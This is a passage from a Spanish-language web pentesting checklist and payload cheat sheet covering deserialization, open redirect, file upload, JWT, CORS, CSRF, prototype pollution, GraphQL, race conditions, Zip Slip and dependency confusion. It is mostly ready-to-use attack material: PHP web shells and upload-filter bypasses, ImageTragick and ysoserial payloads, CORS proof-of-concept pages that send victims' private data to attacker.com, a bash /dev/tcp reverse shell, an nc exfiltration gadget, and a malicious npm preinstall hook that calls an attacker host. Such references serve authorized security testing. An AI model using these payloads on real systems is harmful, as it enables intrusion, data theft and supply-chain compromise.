- summitt/burp-ysoserial
marshalsec — para otros formatos (Jackson, XStream, YAML):
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#exploit.JNDIExploit" 1389java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"Jackson — CVE-2017-7525:
{"param": ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", {"transletBytecodes": ["BASE64_JAVA_CLASS"], "transletName": "a.b", "outputProperties": {}}]}.NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc" -o base64ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc"YAML (Python — PyYAML/SnakeYAML)
Python PyYAML < 6.0:
!!python/object/apply:os.system ["id"]!!python/object/new:subprocess.Popen [["id"]]9.15 Open Redirect
- [ ] Redirección arbitraria
- [ ] Test de funcionalidad de login OAuth para open redirection
Parámetros comunes que aceptan URLs
?url= ?redirect= ?next= ?return= ?return_to= ?returnTo= ?redir=
?redirect_uri= ?redirect_url= ?destination= ?dest= ?go= ?target=
?checkout_url= ?continue= ?image_url= ?view= ?rurl=
/redirect/https://evil.comBypass de filtros
Via @ (RFC 1738 user:pass@host):
http://target.com@evil.com
http://target.com.evil.comVia //:
//evil.com
////evil.comBypass de "http":
https:evil.com
\/\/evil.com
/\/evil.comBypass de punto (.):
evil%E3%80%82com
//evil%00.comCRLF en javascript::
java%0d%0ascript%0d%0a:alert(0)HTTP Parameter Pollution:
?next=safe.com&next=evil.comDoble encode:
%252f%252fevil.com10. Manejo de Errores
- [ ] Acceder a páginas personalizadas como /whatever_fake.php (.aspx, .html, etc.)
- [ ] Agregar múltiples parámetros en GET y POST usando diferentes valores
- [ ] Agregar
[],]], y[[en valores de cookies y parámetros para crear errores - [ ] Generar error dando input como
/~randomthing/%sal final de la URL - [ ] Usar la lista "Fuzzing Full" de Burp Intruder en el input para generar códigos de error
- [ ] Probar diferentes verbos HTTP como PATCH, DEBUG, o incorrectos como FAKE
Probar extensiones de archivo que no existen:
curl https://target.com/page.php.bak
curl https://target.com/page.aspx~
curl https://target.com/.page.swpAgregar parámetros inválidos:
?id=1&id=2
?id[]=1&id[]=2
?id%5b%5d=1Verbos HTTP no estándar:
DEBUG / HTTP/1.1
TRACK / HTTP/1.1
PATCH /admin HTTP/1.1
FAKE / HTTP/1.1Los mensajes de error detallados revelan rutas de sistema, versiones de software, estructura de la DB y a veces fragmentos del código fuente.
11. Lógica de Aplicación
- [ ] Identificar la superficie de ataque lógica
- [ ] Testear transmisión de datos via el cliente
- [ ] Testear confianza en validación de input del lado cliente
- [ ] Componentes thick-client (Java, ActiveX, Flash)
- [ ] Procesos multi-etapa para fallas de lógica
- [ ] Manejo de input incompleto
- [ ] Límites de confianza (trust boundaries)
- [ ] Lógica de transacciones
- [ ] Implementación de CAPTCHA en formularios de email para evitar flooding
- [ ] Tamperear ID de producto, precio o cantidad en cualquier acción (agregar, modificar, eliminar, pagar)
- [ ] Tamperear códigos de regalo o descuento
- [ ] Reusar códigos de regalo
- [ ] Probar parameter pollution para usar código de regalo dos veces en el mismo request
- [ ] Probar XSS almacenado en campos no limitados como dirección
- [ ] Verificar si CVV y número de tarjeta están en texto claro o enmascarados
- [ ] Verificar si es procesado por la app o enviado a terceros
- [ ] IDOR de detalles de otros usuarios: ticket/carrito/envío
- [ ] Verificar si se permiten números de tarjeta de crédito de prueba como 4111 1111 1111 1111
- [ ] Verificar creación de PRINT o PDF para IDOR
- [ ] Verificar botón de unsubscribe con enumeración de usuarios
- [ ] Parameter pollution en links de sharing de redes sociales
- [ ] Cambiar requests POST sensibles a GET
Manipulación de precios y cantidades:
price=100.00 → price=0.01 → price=-100 → price=0
quantity=1 → quantity=-1 (precio negativo total)
product_id=1 → product_id=999 (producto diferente)Un carrito con cantidad -1 puede resultar en un precio total negativo, lo que podría acreditar saldo a la cuenta del atacante.
Race condition en códigos de descuento:
import requests, threading
def redeem(session):
session.post("https://target.com/redeem", data={"code": "GIFT50"})
sessions = [requests.Session() for _ in range(20)]
threads = [threading.Thread(target=redeem, args=(s,)) for s in sessions]
[t.start() for t in threads]
[t.join() for t in threads]Enviar 20 requests simultáneos para aplicar el mismo cupón. Si no hay control de concurrencia, el cupón puede aplicarse múltiples veces antes de que el servidor marque el código como usado.
Bypass de flujo de pago multi-etapa:
1. Paso 1: /checkout/cart
2. Paso 2: /checkout/shipping
3. Paso 3: /checkout/payment ← acceder directamente sin pasar por 1 y 2
4. Paso 4: /checkout/confirm ← acceder directamente después del paso 1Response manipulation para saltarse validaciones:
- Interceptar la respuesta del servidor
- Cambiar
{"paid": false}→{"paid": true} - Verificar si la aplicación acepta la respuesta modificada como válida
Tarjetas de crédito de prueba:
4111 1111 1111 1111 (Visa)
5500 0000 0000 0004 (MasterCard)
378282246310005 (Amex)12. Upload de Archivos Inseguros
- [ ] EICAR test file
- [ ] Sin límite de tamaño
- [ ] Extensión de archivo
- [ ] Filter bypass
- [ ] RCE
Web shells
<?php system($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<script language="php">system($_GET["cmd"]);</script>
<?php echo shell_exec($_POST['c']); ?>Bypass de extensión
PHP:
.php3 .php4 .php5 .php7 .pht .phps .phar .phpt .pgif .phtml .phtm .incASP:
.asp .aspx .cer .asa .soap
shell.aspx;1.jpg (IIS < 7.0)JSP:
.jspx .jsw .jsv .jspf .wss .do .actionsRandom case:
.pHp .pHP5 .PhAr .PHPDoble extensión:
shell.jpg.php
shell.php.jpg
shell.php.pngNull byte:
shell.php%00.jpg
shell.php\x00.jpgCaracteres especiales en Windows:
shell.php...... (Windows elimina puntos finales)
shell.php%20 (espacio)
shell.php%0a (newline)
shell.php%0d%0a.jpgNTFS Alternate Data Streams:
file.asp::$data
file.asp::$data.Bypass de Content-Type
Content-Type: application/x-php → Content-Type: image/jpeg
Content-Type: application/x-php → Content-Type: image/gif
Content-Type: application/x-php → Content-Type: image/pngMagic bytes (los primeros bytes del archivo)
Agregar magic bytes de imagen al inicio de un PHP:
printf '\x89PNG\r\n\x1a\n' > shell.png.php && cat shell.php >> shell.png.phpprintf '\xff\xd8\xff' > shell.jpg.php && cat shell.php >> shell.jpg.phpecho "GIF89a; <?php system(\$_GET['cmd']); ?>" > shell.gif.phpPolyglot web shell
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg.php.htaccess upload
AddType application/x-httpd-php .jpgSubir .htaccess con este contenido, luego subir image.jpg con código PHP — Apache lo ejecutará como PHP.
Vulnerabilidades en el nombre del archivo
'><img src=x onerror=alert(1)>.jpg (XSS)
; sleep 10;.jpg (command injection)
../../../var/www/html/shell.jpg (path traversal)
poc.js'(select*from(select(sleep(20)))a)+'.jpg (SQLi en nombre)Imagetragick (CVE-2016-3714)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|whoami > /tmp/pwned")'
pop graphic-contextGuardar como shell.mvg y subir. ImageMagick ejecuta el comando al procesar el archivo.
13. JWT — JSON Web Tokens
- [ ] Si hay JWT, verificar fallas comunes
Análisis
jwt_tool <TOKEN>echo "PAYLOAD_BASE64" | base64 -d | jq .python3 jwt_tool.py <TOKEN> -M atEl modo -M at corre todos los tests automáticamente.
None algorithm (CVE-2015-9235)
python3 jwt_tool.py <TOKEN> -X aVariantes del algoritmo a probar: none, None, NONE, nOnE. El token resultante tiene la firma vacía pero el punto final sigue presente.
Null signature (CVE-2020-28042)
Token con firma vacía pero algoritmo válido:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0.Disclosure de firma correcta (CVE-2019-7644)
Enviar un token con firma incorrecta. Algunos servidores responden con:
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12vLa firma correcta está en el mensaje de error.
Algoritmo RS256 → HS256 (CVE-2016-5431)
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > public.pempython3 jwt_tool.py <TOKEN> -X k -pk public.pemEl servidor espera un token RS256 firmado con su clave privada. Si no valida el algoritmo, acepta un HS256 firmado con la clave pública como secreto HMAC.
JWK header injection (CVE-2018-0114)
python3 jwt_tool.py <TOKEN> -X iInyecta la clave pública del atacante directamente en el header jwk. El servidor confía en la clave incluida en el header y acepta el token.
JKU header injection
python3 jwt_tool.py <TOKEN> -X sApunta el header jku a un JWK Set propio del atacante. El servidor descarga las claves desde esa URL y valida el token con ellas.
kid — path traversal
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""Si kid se usa para cargar la clave de un archivo, apuntarlo a /dev/null hace que la clave sea el string vacío. El token se firma con "".
Fuerza bruta del secreto débil
hashcat -a 0 -m 16500 <TOKEN> /opt/SecLists/Passwords/Common-Credentials/best1050.txtjohn --format=HMAC-SHA256 --wordlist=/opt/rockyou.txt jwt.txtpython3 jwt_tool.py <TOKEN> -C -d /opt/rockyou.txtRecuperar clave pública desde dos JWTs firmados
docker run -it ttervoort/jws2pubkey JWT1 JWT2Con dos tokens firmados con la misma clave RSA, es matemáticamente posible derivar la clave pública.
14. CORS Misconfiguration
- [ ] Test CORS
Detección
curl -s -I -H "Origin: https://evil.com" https://target.com/api/dataBuscar en la respuesta: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true.
Variaciones a probar:
Origin: null
Origin: https://target.com.evil.com
Origin: https://evil.com%60target.com
Origin: https://notarget.com
Origin: https://target.com.attacker.comHerramientas:
corsy -u https://target.com -H "Cookie: session=abc"CORScanner -u https://target.comPoC — Origin reflection
<html><body><script>
var req = new XMLHttpRequest();
req.onload = function() {
location = 'https://attacker.com/steal?data=' + encodeURIComponent(this.responseText);
};
req.open('GET', 'https://victim.com/api/private', true);
req.withCredentials = true;
req.send();
</script></body></html>Si Access-Control-Allow-Credentials: true, el browser enviará las cookies de la víctima y la respuesta incluirá sus datos privados.
PoC — Null origin (via iframe con data: URI)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = function() {
top.location = 'https://attacker.com/steal?d=' + encodeURIComponent(this.responseText);
};
req.open('GET', 'https://victim.com/api/private', true);
req.withCredentials = true;
req.send();
</script>"></iframe>Iframes con src="data:..." generan requests con Origin: null.
Wildcard sin credenciales (acceso a servicios internos)
var req = new XMLHttpRequest();
req.onload = function() {
location = '//attacker.net/log?key=' + this.responseText;
};
req.open('get', 'https://api.internal.example.com/endpoint', true);
req.send();Si la API interna responde con Access-Control-Allow-Origin: * pero sin autenticación, el atacante puede acceder desde internet a través del browser de la víctima.
15. CSRF
- [ ] Cross-site request forgery en todos los formularios y acciones de usuario
- [ ] Bypass de tokens Anti-CSRF
Verificar y bypass de defensas
Eliminar el token:
POST /change-email
email=attacker@evil.comSimplemente omitir el parámetro csrf del request.
Usar token de otra sesión:
Si el token no está atado a la sesión del usuario específico, un token generado para la cuenta del atacante puede usarse en requests de la víctima.
Cambiar POST a GET:
GET /change-email?email=attacker@evil.com&csrf=Eliminar header Referer:
<meta name="referrer" content="no-referrer">SameSite Lax bypass via method override:
POST /change-email?_method=POSTTemplates de exploit
Form POST básico:
<html><body>
<form action="https://target.com/change-email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
</body></html>JSON via fetch:
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});JSON via form (Content-Type: text/plain):
<form action="https://target.com/api/change-email" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","x":"' value='"}'>
</form>El body resultante es {"email":"attacker@evil.com","x":"="}, que es JSON válido si el servidor no valida el Content-Type.
16. Prototype Pollution
Client-side — detección
Object.prototype.pollutedEste valor debe ser undefined. Si después de inyectar el payload es "1", el objeto raíz fue modificado.
Payloads en query string:
?__proto__[polluted]=1
?__proto__[admin]=true
?constructor[prototype][polluted]=1
?constructor[prototype][admin]=trueURLs reales explotadas:
https://victim.com/#__proto__[admin]=1
https://victim.com/#a=b&__proto__[isAdmin]=true
https://www.apple.com/shop/buy-watch?__proto__[src]=image&__proto__[onerror]=alert(1)XSS via prototype pollution:
?__proto__[innerHTML]=<img/src/onerror=alert(1)>
?__proto__[src]=1&__proto__[onerror]=alert(1)Server-side (Node.js) — detección sin reflexión
ExpressJS — cambio de indentado:
{"__proto__": {"json spaces": 10}}Si la próxima respuesta JSON tiene 10 espacios de indentado, el servidor es vulnerable.
ExpressJS — cambio de status code:
{"__proto__": {"status": 510}}ExpressJS — ignoreQueryPrefix:
{"__proto__": {"ignoreQueryPrefix": true}}Luego probar ??foo=bar — si el servidor lo acepta sin error, el prototipo fue contaminado.
Server-side — RCE
Via NODE_OPTIONS:
{"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=attacker.oastify.com"
}}Via EJS gadget:
{"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc attacker.com 4444')"
}}Kibana RCE (CVE-2019-7609):
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.1/4242 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')Via constructor:
{"constructor": {"prototype": {"admin": true}}}Herramientas
ppmap -u "https://target.com/page"17. GraphQL Injection
Descubrir endpoint
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/graphql.txt -mc 200,400Endpoints comunes: /graphql, /graphiql, /api/graphql, /v1/graphql, /playground, /console, /graph.
Detectar si es GraphQL:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .La respuesta {"data":{"__typename":"Query"}} confirma GraphQL.
Introspección
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' | jq .Si introspección deshabilitada — usar suggestions:
{"query": "{user{passwrod}}"}La respuesta incluye Did you mean 'password'? revelando el nombre del campo correcto.
Herramienta GraphQLmap:
graphqlmap -u https://target.com/graphql --introspectionFingerprint del servidor:
graphw00f -d -f https://target.com/graphqlBatching para bypass de rate limit
JSON array batching:
[
{"query": "mutation{login(user:\"admin\",pass:\"pass1\")}"},
{"query": "mutation{login(user:\"admin\",pass:\"pass2\")}"},
{"query": "mutation{login(user:\"admin\",pass:\"pass3\")}"}
]Query name batching (alias):
{
a1: login(user:"admin",pass:"pass1")
a2: login(user:"admin",pass:"pass2")
a3: login(user:"admin",pass:"pass3")
}Múltiples queries en un solo request — el rate limit se aplica por request, no por operación dentro del request.
Inyección en campos GraphQL
SQL injection en resolver:
{user(id:"1 OR 1=1"){ username email }}
{user(id:"1; DROP TABLE users"){ username }}NoSQL injection:
{user(username:{$ne:null}){ id email password }}18. HTTP Parameter Pollution (HPP)
Comportamiento por framework
| Framework | ?p=a&p=b → valor de p |
|---|---|
| PHP/Apache | Último → b |
| ASP.NET/IIS | Todos → a,b |
| JSP/Tomcat | Primero → a |
| Ruby on Rails | Último → b |
| Python Flask | Primero → a |
| Python Django | Último → b |
| Node.js | Todos → a,b |
| Go (Get) | Primero → a |
Payloads
Duplicar parámetros:
?debug=false&debug=true
?admin=false&admin=true
?amount=1&amount=5000Array injection:
?param[]=value1¶m[]=value2
?param[0]=value1¶m[1]=value2JSON con clave duplicada:
{"username": "admin", "username": "attacker"}MongoDB toma el último valor en caso de duplicados.
Encoded injection (servidor procesa como dos params):
?param=value1%26other=value219. Race Conditions
HTTP/1.1 — Last-byte synchronization con Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)Se acumulan requests enviando todo excepto el último byte. Al abrir el "gate", todos los últimos bytes se envían simultáneamente, garantizando que lleguen al servidor en el mismo instante.
HTTP/2 — Single-packet attack
En Burp Suite:
- Enviar request al Repeater
CTRL+Rpara duplicar 20 veces- Click derecho → "Add to new group"
- Send group → "Send group in parallel (single-packet attack)"
HTTP/2 permite multiplexar múltiples requests sobre una sola conexión TCP. Al enviar todos en un solo paquete, el servidor los procesa simultáneamente sin latencia de red entre ellos.
Multi-step race condition
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30)
request1 = '''POST /redeem HTTP/1.1\r\nHost: target.com\r\nCookie: session=YOURS\r\n\r\ncode=GIFT50'''
request2 = '''GET /balance HTTP/1.1\r\nHost: target.com\r\nCookie: session=YOURS\r\n\r\n'''
engine.queue(request1, gate='race1')
for i in range(30):
engine.queue(request2, gate='race1')
engine.openGate('race1')Escenarios comunes
- Aplicar el mismo gift card múltiples veces antes de que se marque como usado
- Bypass de 2FA: enviar múltiples OTPs simultáneamente para bypassear el rate limit
- Overdraft: retirar dinero más veces de las permitidas en paralelo
- Registro duplicado: registrar el mismo usuario en paralelo antes de que se valide unicidad
20. Type Juggling (PHP)
Comparaciones loose (==) que evalúan true
| Comparación | Resultado |
|---|---|
'0010e2' == '1e3' | true |
'123' == 123 | true |
'abc' == 0 | true |
'' == 0 == false == NULL | true |
'1e3' == 1000 | true (PHP 5) |
Magic hashes (0e... = 0 en comparación loose)
| Hash | Input | Hash resultado |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| MD5 | 0e215962017 | 0e291242476940776845150308577824 |
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 |
Si la app compara md5($input) == $stored_hash con == y el hash almacenado empieza con 0e, cualquier input cuyo MD5 también empiece con 0e bypasea la comparación.
Bypass de HMAC débil
Si la cookie usa hmac != hash_hmac(...) con !=:
for($i=1424869663; $i < 1835970773; $i++) {
$out = hash_hmac('md5', 'admin|'.$i, '');
if(str_starts_with($out, '0e') && $out == 0) {
echo "$i - $out\n";
break;
}
}Cuando hash_hmac retorna 0e..., la comparación '0' != '0e...' evalúa como false (son "iguales" en loose comparison), bypasseando la validación.
21. Zip Slip
Crear ZIP malicioso con evilarc:
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 10Con slipit:
slipit -c cmd.php -o exploit.zip -t "../../../../var/www/html/cmd.php"Symlink en ZIP:
ln -s ../../../etc/passwd symlink.txt
zip --symlinks exploit.zip symlink.txtAl extraer el ZIP, el symlink se crea en el filesystem y apunta a /etc/passwd. Cualquier lectura del archivo extraído lee el target del symlink.
Nombres a probar:
../../../../etc/passwd
../../../../var/www/html/shell.php
../../../../Windows/System32/drivers/etc/hosts
..%2F..%2F..%2F..%2Fetc%2Fpasswd
..\..\..\Windows\win.iniEl ataque funciona para múltiples formatos: ZIP, TAR, JAR, WAR, APK, RAR, 7Z.
22. Dependency Confusion
Verificar si el paquete existe públicamente:
npm view <internal-package-name>pip show <internal-package-name>gem info <internal-package-name>Si el paquete no existe en el registro público, el nombre está disponible para ser registrado.
Herramienta confused:
confused -l pypi -f requirements.txtconfused -l npm -f package-lock.jsonCrear paquete malicioso (con callback en install):
{
"name": "internal-package-name",
"version": "9999.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/pkg/$(hostname)/$(whoami)"
}
}Registrar en npmjs.com/pypi.org con versión mayor a la interna (9999.0.0). Los package managers que buscan la versión más reciente descargarán el paquete público en lugar del interno.
23. API Key Leaks y Source Code Management
Búsqueda de secrets
TruffleHog:
trufflehog github --org=TargetOrg --issue-comments --pr-commentstrufflehog git https://github.com/target/repotrufflehog filesystem ./source_code/docker run trufflesecurity/trufflehog:latest docker --image targetcorp/api:latestGitleaks:
gitleaks detect --source . -v -r gitleaks_report.jsonNuclei tokens:
nuclei -l js_files.txt -t nuclei-templates/exposures/tokens/ -o api_keys.txtPatrones manuales:
grep -rE "(AKIA[0-9A-Z]{16})" .grep -rE "ghp_[a-zA-Z0-9]{36}" .grep -rE "sk-[a-zA-Z0-9]{48}" .grep -rE "AIza[0-9A-Za-z\-_]{35}" .Repositorios expuestos (.git, .svn)
curl -sk https://target.com/.git/HEAD
curl -sk https://target.com/.git/config
curl -sk https://target.com/.svn/entriesDump del repositorio:
git-dumper https://target.com/.git/ ./dumped_repo/Incluso si el servidor devuelve 403 al listar .git/, los archivos individuales pueden ser descargables.
Buscar secrets en historial:
cd dumped_repo && git log --all --onelinegit show <commit_hash> -- config.phpUn secreto que fue commiteado y luego "eliminado" sigue visible en el historial de git.
Validar API keys encontradas
aws sts get-caller-identity --access-key AKIA... --secret-key ...curl -H "Authorization: token ghp_..." https://api.github.com/usercurl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29...."curl https://api.stripe.com/v1/charges -u "sk_live_...:24. Infraestructura
- [ ] Segregación en infraestructuras compartidas
- [ ] Segregación entre aplicaciones alojadas en ASP
- [ ] Vulnerabilidades del servidor web
- [ ] Métodos HTTP peligrosos
- [ ] Funcionalidad de proxy
- [ ] Misconfiguration de virtual hosting (VHostScan)
- [ ] Verificar IPs numéricas internas en requests
- [ ] Verificar IPs numéricas externas y resolverlas
- [ ] Testear cloud storage
- [ ] Verificar existencia de canales alternativos (www.web.com vs m.web.com)
Métodos HTTP peligrosos:
curl -s -X OPTIONS https://target.com/api/ -i | grep AllowLos métodos PUT, DELETE, TRACE, CONNECT en producción son señales de alerta. TRACE puede habilitar Cross-Site Tracing (XST) para robar cookies HttpOnly.
Virtual hosting:
vhostscan -t target.com -o vhosts.txtffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200,301,302 -fs <baseline>Canales alternativos (mobile, API, admin):
www.target.com → m.target.com → api.target.com → admin.target.comLos sitios mobile o de staging suelen tener menos controles de seguridad que el sitio principal.
25. CAPTCHA
- [ ] Enviar valor antiguo de CAPTCHA
- [ ] Enviar valor antiguo de CAPTCHA con session ID antiguo
- [ ] Solicitar ruta absoluta del CAPTCHA como www.url.com/captcha/1.png
- [ ] Eliminar CAPTCHA con cualquier adblocker y volver a solicitar
- [ ] Bypass con herramienta OCR (para los simples)
- [ ] Cambiar de POST a GET
- [ ] Eliminar el parámetro CAPTCHA
- [ ] Convertir request JSON a normal
- [ ] Probar header injections
Enumerar CAPTCHAs accesibles directamente:
for i in $(seq 1 20); do
curl -sk "https://target.com/captcha/$i.png" -o /dev/null -w "%{http_code} captcha/$i.png\n"
doneSi los CAPTCHAs son accesibles por URL sin vínculo con la sesión, el atacante puede simplemente descargar el archivo y leerlo directamente.
Bypass via OCR:
tesseract captcha.png outputCAPTCHAs simples basados en texto distorsionado frecuentemente son solucionables con Tesseract.
Eliminar el parámetro:
POST /login
username=admin&password=test&captcha=abc123
→
POST /login
username=admin&password=testSi el backend no valida la presencia del parámetro, simplemente omitirlo puede bypassear el CAPTCHA.
26. Headers de Seguridad
- [ ] X-XSS-Protection
- [ ] Strict-Transport-Security
- [ ] Content-Security-Policy
- [ ] Public-Key-Pins
- [ ] X-Frame-Options
- [ ] X-Content-Type-Options
- [ ] Referer-Policy
- [ ] Cache-Control
- [ ] Expires
Verificar headers presentes:
curl -s -I https://target.com | grep -iE "x-frame|content-security|hsts|x-content-type|referrer|permissions|cache-control|x-xss"Análisis automático:
nuclei -u https://target.com -t nuclei-templates/misconfiguration/http-missing-security-headers.yamlHeaders y su impacto si faltan
| Header | Impacto de su ausencia |
|---|---|
Strict-Transport-Security | Permite ataques de downgrade a HTTP, MITM |
Content-Security-Policy | Sin restricciones para carga de scripts externos, XSS más explotable |
X-Frame-Options / frame-ancestors | Clickjacking — la página puede ser enmarcada en iframes maliciosos |
X-Content-Type-Options: nosniff | MIME sniffing — el browser puede interpretar archivos con Content-Type incorrecto |
Referrer-Policy | El header Referer puede filtrar tokens de reset de contraseña u otros datos sensibles |
Cache-Control: no-store | Respuestas con datos sensibles pueden quedar cacheadas en proxies o en el browser |
Permissions-Policy | Sin restricciones para APIs de cámara, micrófono, geolocalización |
Configuración recomendada
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
Cache-Control: no-store (en respuestas con datos de usuario)Herramientas esenciales
| Herramienta | Función |
|---|---|
| Burp Suite Pro | Proxy, Scanner, Intruder, Repeater, Turbo Intruder |
| sqlmap / ghauri | Automatización SQLi |
| jwt_tool | Testing JWT completo |
| SSRFmap / Gopherus | SSRF + gopher payloads |
| commix | OS command injection |
| tplmap / sstimap | SSTI detection y exploit |
| ysoserial / phpggc | Gadget chains para deserialización |
| dalfox | XSS automatizado |
| interactsh | OOB interaction server |
| nuclei | Scanner basado en templates |
| amass / subfinder | Enumeración de subdominios |
| httpx | HTTP probing |
| ffuf / feroxbuster | Fuzzing web |
| gau / waybackurls | URLs históricas |
| trufflehog / gitleaks | Secrets en repos |
| Turbo Intruder | Race conditions / bulk requests |
| GraphQLmap / graphw00f | Testing GraphQL |
| corsy / CORScanner | CORS scanner |
| arjun | Parámetros HTTP ocultos |
| puredns / gotator | DNS brute force y permutaciones |
Referencias
| Recurso | URL |
|---|---|
| PayloadsAllTheThings | github.com/swisskyrepo/PayloadsAllTheThings |
| HackTricks | book.hacktricks.xyz |
| PortSwigger Web Security Academy | portswigger.net/web-security |
| SecLists | github.com/danielmiessler/SecLists |
| OWASP Testing Guide v4 | owasp.org/www-project-web-security-testing-guide |
| Nuclei Templates | github.com/projectdiscovery/nuclei-templates |